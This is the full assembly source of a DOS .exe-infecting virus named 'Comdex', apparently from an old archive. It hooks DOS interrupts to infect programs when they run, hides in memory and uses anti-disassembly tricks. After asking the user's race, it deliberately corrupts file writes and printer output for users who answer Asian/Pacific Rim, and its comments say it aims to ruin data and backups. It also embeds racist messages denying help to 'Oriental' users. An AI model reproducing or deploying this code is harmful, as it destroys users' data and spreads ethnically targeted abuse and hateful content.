home *** CD-ROM | disk | FTP | other *** search
- ; The Comdex exibit guide program
- ; For the Fall 1991 Comdex Las Vegas Convention
- ;
- ;
- ; A short description of the program:
- ;
- ; It only affects .exe files.
- ; Comdex attaches itself to the end of the programs it affects.
- ;
- ; When an affected file is run, Comdex copies itself to top of
- ; free memory, and modifies the memory blocks, in order to hide from
- ; memory mapping programs. Some programs may overwrite this area,
- ; causing the computer to crash. If this happens, the user obviously
- ; deserved it.
- ;
- ; Comdex will hook int 21h and when function 4b (exec) is called
- ; it sometimes will affect the program being run. It will check every
- ; program that is run for affection, and if it is not already
- ; affected, it will be.
- ;
- ; Comdex will, after 1 hr, one of 16 chance, ask your race or
- ; nationality prior to executing a file. Af you answer that you
- ; are asian/pacific rim, one of 256 file writes will have the
- ; length adjusted downward or the record size reduced, depending
- ; upon the specific dos call made.
- ;
- ;
- ; Comdex will remove the read-only attribute before trying to
- ; affect programs.
- ;
- ; Affected files can be easily recognized, since they always end in
- ; "COMD"
- ;
- ; To check for system affection, a byte at 0:33c is used - if it
- ; contains a 069h, Comdex is installed in memory.
- ;
- ;
- comsiz equ 128 ;in paragraphs
-
- code segment para public 'code'
- assume cs:code,ds:nothing,ss:nothing,es:nothing
-
- ;
- ; Comdex is basically divided in the following parts.
- ;
- ; 1. the main program - run when an affected program is run.
- ; it will check if the system is already affected, and if not
- ; it will install Comdex.
- ;
- ; 2. the new int 17 handler. adjusts two ascii output chars.
- ;
- ; 3. the new int 14 handler.
- ;
- ; 4. the new int 8 handler.
- ;
- ; 5. the new int 9 handler.
- ;
- ; 6. the new int 21 handler. it will look for exec calls, and
- ; affect the program being run.
- ;
- ;
- ; this is a fake mcb (memory control block)
- ; ms-dos inspects the chain of mcbs whenever a memory block allocation,
- ; modification, or release function is requested, or when a program
- ; is execed or terminated...
- ;
- db 'Z',00,00,comsiz,0,0,0,0,0,0,0,0,0,0,0,0
- ; ^___ # of paragraphs of the controlled mem blk
-
-
-
- Comdex proc far
- ;
- ; Comdex starts by pushing the original start address on the stack,
- ; so it can transfer control there when finished.
- ;
- labl: sub sp,4
- push bp
- mov bp,sp
- push ax
- ;following line nuked for ease of test
- ; nop ;added so that scan84 doesn't id as [ice-3]
- mov ax,es
- ;
- ; put the the original cs on the stack. the add ax,data instruction
- ; is modified by Comdex when it affects other programs.
- ;
- db 05h ;this is an add ax,10h
- org_cs dw 0010h
- mov [bp+4],ax
- ;
- ; put the the original ip on the stack. this mov [bp+2],data instruction
- ; is modified by Comdex when it affects other programs.
- ;
- db 0c7h,46h,02h
- org_ip dw 0000h
- ;
- ; save all registers that are modified.
- ;
- push es
- push ds
- push bx
- push cx
- push si
- push di
- ;
- ; check if already installed. quit if so.
- ;
- mov ax,0
- mov es,ax ;zero es
- cmp es:[33ch],byte ptr 069h
- ;&&
- ; jne l1
- ;
- ; restore all registers and return to the original program.
- ;
- exit: pop di
- pop si
- pop cx
- pop bx
- pop ds
- pop es
- pop ax
- pop bp
- retf
- ;
- ; Comdex tries to hide from detection by modifying the memory block it
- ; uses, so it seems to be a block that belongs to the operating system.
- ;
- ; it looks rather weird, but it seems to work.
- ;
- l1: mov ah,52h
- call int21 ;undefined dos call!!?
- mov ax,es:[bx-2]
- nop
- mov es,ax
- add ax,es:[0003]
- inc ax
- inc ax
- mov cs:[0001],ax
- ;
- ; next, Comdex modifies the memory block of the affected program.
- ; it is made smaller, and no longer the last block.
- ;
- mov bx,ds
- dec bx
- nop
- mov ds,bx
- mov al,'M'
- mov ds:[0000],al
- mov ax,ds:[0003]
- sub ax,comsiz
- mov ds:[0003],ax
- add bx,ax
- inc bx
- ;
- ; then Comdex moves itself to the new block.
- ;
- mov es,bx
- xor si,si
- xor di,di
- push cs
- pop ds
- mov cx,652h ;the length of this program -
- ;be *sure* to update this!!
- ;in fact, make it symbolic!!
- cld
- rep movsb
- ;
- ; Comdex then transfers control to the new copy of itself.
- ;
- push es
- nop
- mov ax,offset l3
- push ax
- retf
- db 3dh ;confuse disassemblers
- ;
- ; zero some variables
- ;
- l3: mov byte ptr cs:[min60],0
- mov byte ptr cs:[min50],0
- mov word ptr cs:[timer],0
- mov byte ptr cs:[input_char],0
- ;
- ; set flag to confirm installation
- ;
- xor ax,ax
- mov es,ax
- inc ax ;dummy operation to confuse function
- mov byte ptr es:[33ch],069h
- ;
- ; hook interrupt 21:
- ; (the primary dos function interrupt)
- ;
- mov ax,es:[0084h]
- mov cs:[old21],ax
- mov ax,es:[0086h]
- nop
- mov cs:[old21+2],ax
- mov ax,cs
- mov es:[0086h],ax
- mov ax,offset new21
- mov es:[0084h],ax
- ;
- ; hook interrupt 17:
- ; (bios lpt services)
- ;
- mov ax,es:[005ch]
- mov cs:[old17],ax
- nop
- mov ax,es:[005eh]
- mov cs:[old17+2],ax
- inc ax ;dummy op
- mov ax,cs
- mov es:[005eh],ax
- mov ax,offset new17
- mov es:[005ch],ax
-
- ;
- ; hook interrupt 14:
- ; (bios serial port services)
- ;
- ; mov ax,es:[0050h]
- ; mov cs:[old17],ax
- ; mov ax,es:[0052h]
- ; mov cs:[old14+2],ax
- ; mov ax,cs
- ; mov es:[0052h],ax
- ; mov ax,offset new14
- ; mov es:[0050h],ax
- ;
- ;
- ;
- cmp word ptr cs:[noinf],5
- jg hook8
- jmp exit
- ;
- ; hook interrupt 9
- ; (bios keyboard interrupt)
- ;
- ;hook9: mov ax,es:[0024h]
- ; mov cs:[old9],ax
- ; mov ax,es:[0026h]
- ; mov cs:[old9+2],ax
- ; mov ax,cs
- ; mov es:[0026h],ax
- ; mov ax,offset new9
- ; mov es:[0024h],ax
- ;
- ; hook interrupt 8
- ; (timer ticks)
- ;
- db 3dh,0cch,03h,3dh,3dh ;confuse dissassemblers
- hook8: mov ax,es:[0020h]
- mov cs:[old8],ax
- mov ax,es:[0022h]
- mov cs:[old8+2],ax
- mov ax,cs
- nop
- mov es:[0022h],ax
- mov ax,offset new8
- mov es:[0020h],ax
- jmp exit
-
-
- ;the int 21 calls go through this routine to confuse the issue:
- int21: push ax
- mov ax,0ffh
- mov word ptr cs:[internal],ax ;set internal int 21 flag
- mov al,20h
- inc al ;put 21 in al
- mov byte ptr cs:[int21b],al ;self modifying code!
- pop ax
- db 0cdh ;int opcode
- int21b: db 0cch ;overwritten to int 21h
- push ax
- mov ax,00
- mov word ptr cs:[internal],ax ;clear internal int 21 flag
- mov ax,0cch
- mov byte ptr cs:[int21b],al ;nuke it back to int 0cch
- pop ax
- retn
-
-
-
- db "Welcome to Comdex "
- db "From the Interface Group, Inc. "
- db "300 First Avenue "
- db "Needham, MA 02194 "
- db "(617)449-6600 "
- db "For data recovery ask for "
- db "Peter J. Bowes, unless you are "
- db "Oriental, in which case, we will "
- db "not help you. "
-
- quest db 0dh,0ah,"Software Piracy Prevention Center",0dh,0ah
- db "requests your cooperation:",0dh,0ah,0dh,0ah
- db "Please enter your race or nationality:",0dh,0ah
- db "a. White e. Eastern European",0dh,0ah
- db "b. Black f. Soviet",0dh,0ah
- db "c. Hispanic g. Western European",0dh,0ah
- db "d. Asian/Pacific Rim h. Other",0dh,0ah,0dh,0ah
- db " Please enter your response: ","$"
-
- input_char: db 0
- db 3dh ;confuse disassemblers
-
- askit: push ax
- push bx
- push cx
- push dx
- push si
- push di
- push ds
- push es
-
- cmp byte ptr cs:[min60],1 ;resident 1 hr yet?
- jnz noask
- cmp byte ptr cs:[input_char],0
- jnz noask ;don't ask twice
- mov ax,word ptr cs:[timer]
- and ax,000fh ;look at ls free running clock
- cmp ax,000ch ;does it happen to be 00ch? (1 of 16)
- jnz noask ;if not, don't ask the guy!
-
- mov dx,offset quest ;ask the guy about race
- mov ah,09h ;dos string print
- push cs
- pop ds
- call int21 ;print question on crt
- mov ax,0c01h ;dos flush input and get char
- call int21 ;get char
- and al,0dfh ;force upper case
- mov byte ptr cs:[input_char],al ;save away response
- noask: pop es
- pop ds
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- retn
-
- ;********************************************************************
-
- ;
- ; int 9 (keyboard) replacement:
- ; this routine does not become active until 50 minutes after
- ; the execution of an affected program.
- ;
- ;new9: push ax
- ; push es
- ; cmp byte ptr cs:[min50],1
- ; jnz retx1
-
- ;insert any code here that activates 50 min after launch for int 9...
-
- ;retx1: pop es ;prepare to go to old int 9 code:
- ; pop ax
- ; db 0eah ;jmp 0000:0000 nmemonic
- ;old9 dw 0,0 ;storage for old addr
-
-
- ;********************************************************************
- ;
- ; new int 14 (serial port) routine -
- ;
- ;new14: cmp ah,1 ;is it an output request?
- ; jz s1 ;yup. don't return just yet.
- ;do14: db 0eah ;jmp 0000:0000 nmemonic
- ;old14 dw 0,0
- ;s1:
-
- ;insert any code here for output to serial port...
-
- ; jmp do14
-
-
- ;********************************************************************
- ;
- ; new int 8 routine (bios timer ticks)
- ;
- db 3dh ;piss off disassemblers
- new8: push dx
- push cx
- push bx
- push ax
- jmp txex ;&&
- inc word ptr cs:[timer] ; increment timer
- cmp byte ptr cs:[min60],01 ; if counter >= 60 min.
- jz tt0 ; no need to check any more
- cmp word ptr cs:[timer],-11 ; 60 minutes ?
- jz tt1
- cmp word ptr cs:[timer],54601 ; 50 minutes ?
- jz tt2
- jmp txex
- ;
- ; 50 minutes after an affected program is run the flag is set.
- ;
- tt2: mov byte ptr cs:[min50],1
- jmp txex
- ;
- ; 60 minutes after an affected program is run this flag is set.
- ;
- tt1: mov byte ptr cs:[min60],1
-
- ; exit interrupt routine:
-
- jmp txex
- ;
- ; every time an int 8 occurs, after the 60 min. have passed, we
- ; end up here:
- ;
- tt0:
- ;insert any fun timer oriented code here
- ;
- ; restore registers and quit
- ;
- txex: pop ax
- pop bx
- pop cx
- pop dx
- db 0eah
- old8 dw 0,0
-
- ;********************************************************************
- ;
- ; new int 17 routine. lpt out stuff.
- ;
- new17: jmp do17 ;&&
- cmp ah,0
-
- jz p0
- do17: db 0eah
- old17 dw 0,0
- db 2eh ;confuse disassemblers
- p0: cmp byte ptr cs:[input_char],44h ;d. asian/pacific rim?
- jne not_asian
- push ax
- mov ax,word ptr cs:[timer]
- and ax,00ffh
- cmp ax,0032h ; one of 256 odds
- pop ax ; restore ax, doesn't change flags
- jne do17 ; don't twiddle lpt 255/256 odds
- cmp al,55h ; printing a "U"?
- jne notu
- mov al,0efh ; make it upside-down!
- jmp do17 ; and continue.
- notu: cmp al,06fh ; lower case "o"?
- jne do17 ; no? then exit.
- mov al,093h ; make it an "o" with a ^ over it!
- jmp do17 ; and exit.
- not_asian:
- jmp do17
-
-
- ;Int 21 file adjustment routines - the following routines corrupt a small
- ;percentage of the file writes that Asians do in their use of the pc. For
- ;example, when one updates a spreadsheet or exits a word processor, the
- ;application software will re-write the file out to disk. What we do here
- ;is reduce the amount of the data that is written to the file. The hope
- ;is that the problem will be hidden for a significant period of time, since
- ;it happens only infrequently, and since it typically will happen upon exit
- ;of the application package. If the reduction of the write causes a serious
- ;problem (we hope it will) it won't usually be noticed until that file is
- ;loaded again. The other hope is that if the user does backup his data from
- ;time to time, this corrupted data will end up on the backup as well before
- ;the problem is noticed. With luck, maybe the user will assume that the
- ;hardware is intermittent, and backup the system over the top of his only
- ;existing backup set, then purchase replacement hardware.
-
-
-
- fuck_size_f: ;if asian, reduce file rec size by 1 on fcb ops
- push ax
- push di
- push dx ;setup di for indexed operations
- pop di
- cmp byte ptr cs:[input_char],044h ;asian?
- jne exit_fuck_f ;no, then do nothing
- mov ax,word ptr cs:[timer]
- and ax,00ffh ;mask off ls 8 bits of free run timer
- cmp ax,0069h ;does it happen to be 69h? (1 of 256)
- jne exit_fuck_f ;nope, so do nothing
-
- mov al,[ds:di+0] ;get first byte of user's fcb
- cmp al,0ffh ;extended fcb?
- jne norm_fcb ;nope, so handle as normal fcb
- mov ax,[ds:di+15h] ;get record size, 16 bits on extd fcb.
- dec ax ;adjust it a bit, since the user really doesn't
- ;need to write so much data.
- mov [ds:di+15h],ax
- jmp exit_fuck_f ;subsequent r/w ops should fail to get the
- ;right data until this file is closed or
- ;until system crashes.
-
- norm_fcb:
- mov al,[ds:di+0eh] ;get record size, only 8 bits on norm fcb.
- dec al ;reduce by 1
- mov [ds:di+0eh],al ;store it back
- exit_fuck_f:
- pop di
- pop ax
- jmp do21
-
-
- fuck_size_h: ;reduce length of handle file writes
- push ax
- push di
- push dx
- pop di
- cmp byte ptr cs:[input_char],044h ;asian?
- jne exit_fuck_h ;no, so don't damage anything.
- mov ax,word ptr cs:[timer]
- and ax,00ffh
- cmp ax,0066h ;one out of 256 odds
- jne try_again ;no? well give it another chance.
- and cx,0fff5h ;reduce write length in bytes by a flakey amt
- dec cx ;ranging from 1 to 11 bytes.
- exit_fuck_h:
- pop ax
- jmp do21
-
- try_again:
- cmp ax,0077h ;one of 256 odds?
- jne exit_fuck_h ;exit if not lucky.
- mov ax,[ds:di+30h] ;get a user data byte from his buffer
- xor ax,0004h ;toggle bit 2 of byte 30h
- mov [ds:di+30h],ax ;and put it back
- jmp exit_fuck_h
-
- ;********************************************************************
- ;
- ; this is the int 21 replacement. it only does something in
- ; the case of an execute program dos call.
- ;
- ;be careful here not to trap int codes that we use internally!
- new21: jmp do21 ;&&
- push ax
- cmp word ptr cs:[internal],0ffh ;is it an internal int 21?
- je do21 ;yup, so no tweaking allowed
- pop ax
- cmp ah,015h ;is it a fcb file write?
- je fuck_size_f ;if asian, reduce record size by 1
- cmp ah,040h ;is it a handle file write?
- je fuck_size_h ;if asian, adjust write length down.
- cmp ah,4bh ;is it an int 21 code 4b?
- je l5 ;yup. go affect stuff
- do21: db 0eah ;nope. let dos handle it
- old21 dw 0,0
- ;
- ; the code to only affect every tenth program has been removed
- ; for now. restore this code later.
- ;
- db 3dh ;confuse disassemblers
- l5: call askit ;ask race if appropriate
- push ax
- push bx
- push cx
- push dx
- push si
- push ds
- ;
- ; search for the file name extension ...
- ;
- mov bx,dx
- l6: inc bx
- cmp byte ptr [bx],'.'
- je l8
- cmp byte ptr [bx],0
- jne l6
- ;
- ; ... and quit unless it starts with "ex".
- ;
- l7: pop ds
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- jmp do21
- l8: inc bx
- cmp word ptr [bx],5845h ;"EX"
- jne l7
- ;
- ; when an .exe file is found, Comdex starts by turning off
- ; the read-only attribute. the read-only attribute is not restored
- ; when the file has been affected.
- ;
- mov ax,4300h ; get attribute
- call int21
- jc l7
- mov ax,4301h ; set attribute
- and cx,0feh
- call int21
- jc l7
- ;
- ; next, the file is examined to see if it is already affected.
- ; the signature (4418 5f19) is stored in the last two words.
- ;
- mov ax,3d02h ; open / write access
- call int21
- jc l7
- mov bx,ax ; file handle in bx
- ;
- ; this part of the code is new: get date of file.
- ;
- mov ax,5700h
- call int21
- jc l9
- mov cs:[date1],dx
- mov cs:[date2],cx
- ;
- push cs ; now ds is no longer needed
- pop ds
- ;
- ; the header of the file is read in at [id+8]. Comdex then
- ; modifies itself, according to the information stored in the
- ; header. (the original cs and ip addressed are stored).
- ;
- mov dx,offset id+8
- mov cx,1ch
- mov ah,3fh
- call int21
- jc l9
- mov ax,ds:id[1ch]
- mov ds:[org_ip],ax
- inc ax ;confuse reader a little
- mov ax,ds:id[1eh]
- add ax,10h
- mov ds:[org_cs],ax
- ;
- ; next the read/write pointer is moved to the end of the file-4,
- ; and the last 4 bytes read. they are compared to the signature,
- ; and if equal nothing happens.
- ;
- mov ax,4202h
- mov cx,-1
- mov dx,-4
- call int21
- jc l9
- add ax,4
- mov ds:[len_lo],ax
- jnc l8a
- inc dx
- l8a: mov ds:[len_hi],dx
- ;
- ; this part of Comdex is new - check if it is below minimum length
- ;
- cmp dx,0
- jne l8b
- mov cl,13
- shr ax,cl
- cmp ax,0
- jg l8b
- nop
- jmp short l9
- l8b: mov ah,3fh
- mov cx,4
- mov dx,offset id+4
- call int21
- jnc l11
- l9: mov ah,3eh
- call int21
- l10: jmp l7
- db 3eh ;confuse disassemblers
- ;
- ; compare to 4f43,444d which is first 4 letters of Comdex
- ;
- l11: mov si,offset id+4
- mov ax,[si]
- cmp ax,4f43h ;ascii "OC"
- jne l12
- mov ax,[si+2]
- cmp ax,444dh ;ascii "DM"
- je l9
- ;
- ; the file is not affected, so the next thing Comdex does is
- ; affect it. first it is padded so the length becomes a multiple
- ; of 16 bytes. this is done so Comdex code can start at a
- ; paragraph boundary.
- ;
- l12: mov ax,ds:[len_lo]
- and ax,0fh
- jz l13
- mov cx,16
- sub cx,ax
- nop
- add ds:[len_lo],cx
- jnc l12a
- inc ds:[len_hi]
- l12a: mov ah,40h
- call int21 ;dos write to file
- jc l9
- ;
- ; next the main body of Comdex is written to the end.
- ;
- l13: xor dx,dx
- mov cx,offset id + 4
- mov ah,40h ;dos write to file
- call int21
- jc l9
- ;
- ; next the .exe file header is modified:
- ;
- ; first modify initial ip
- ;
- f0: mov ax,offset labl
- mov ds:id[1ch],ax
- ;
- ; modify starting cs = Comdex cs. it is computed as:
- ;
- ; (original length of file+padding)/16 - start of load module
- ;
- mov dx,ds:[len_hi]
- mov ax,ds:[len_lo]
- mov cl,cs:[const1] ; modified a bit
- shr dx,cl
- rcr ax,cl
- nop
- shr dx,cl
- rcr ax,cl
- shr dx,cl
- rcr ax,cl
- nop
- shr dx,cl
- rcr ax,cl
- sub ax,ds:id[10h]
- mov ds:id[1eh],ax
- ;
- ; modify length mod 512
- ;
- add ds:[len_lo],offset id+4
- jnc l14
- inc ds:[len_hi]
- l14: mov ax,ds:[len_lo]
- and ax,511
- nop
- mov ds:id[0ah],ax
- ;
- ; modify number of blocks used
- ;
- mov dx,ds:[len_hi]
- mov ax,ds:[len_lo]
- add ax,511
- jnc l14a
- inc dx
- l14a: mov al,ah
- mov ah,dl
- shr ax,1
- mov ds:id[0ch],ax
- ;
- ; finally the modified header is written back to the start of the
- ; file.
- ;
- wrtback:mov ax,4200h
- xor cx,cx
- xor dx,dx
- call int21 ;dos move file pointer
- jc endit
- mov ah,40h
- mov dx,offset id+8
- mov cx,1ch
- call int21 ;dos write to file
- ;
- ; this part is new: restore old date.
- ;
- mov dx,cs:[date1]
- mov cx,cs:[date2]
- mov ax,5701h
- call int21 ;dos set file date and time
- jc endit
- inc word ptr cs:[noinf]
- ;
- ; affection is finished - close the file and execute it
- ;
- endit: jmp l9
- ;
- ;
-
- timer dw 0 ; number of timer (int 8) ticks
- const1 db 1 ; the constant 1
- const0 dw 0 ; the constant 0
- internal dw 0 ; internal int 21 in effect.
- min50 db 0 ; flag, set to 1 50 minutes after execution
- min60 db 0 ; flag, set to 1 60 minutes after execution
- vmode db 0 ; video mode
- date1 dw ? ; date of file
- date2 dw ? ; ditto.
- len_lo dw ?
- len_hi dw ?
- noinf dw 0 ; number of affections
- id label word
- db "COMD" ; the signature of Comdex.
- ;
- ; a buffer, used for data from the file.
- ;
-
- Comdex endp
- code ends
-
- end labl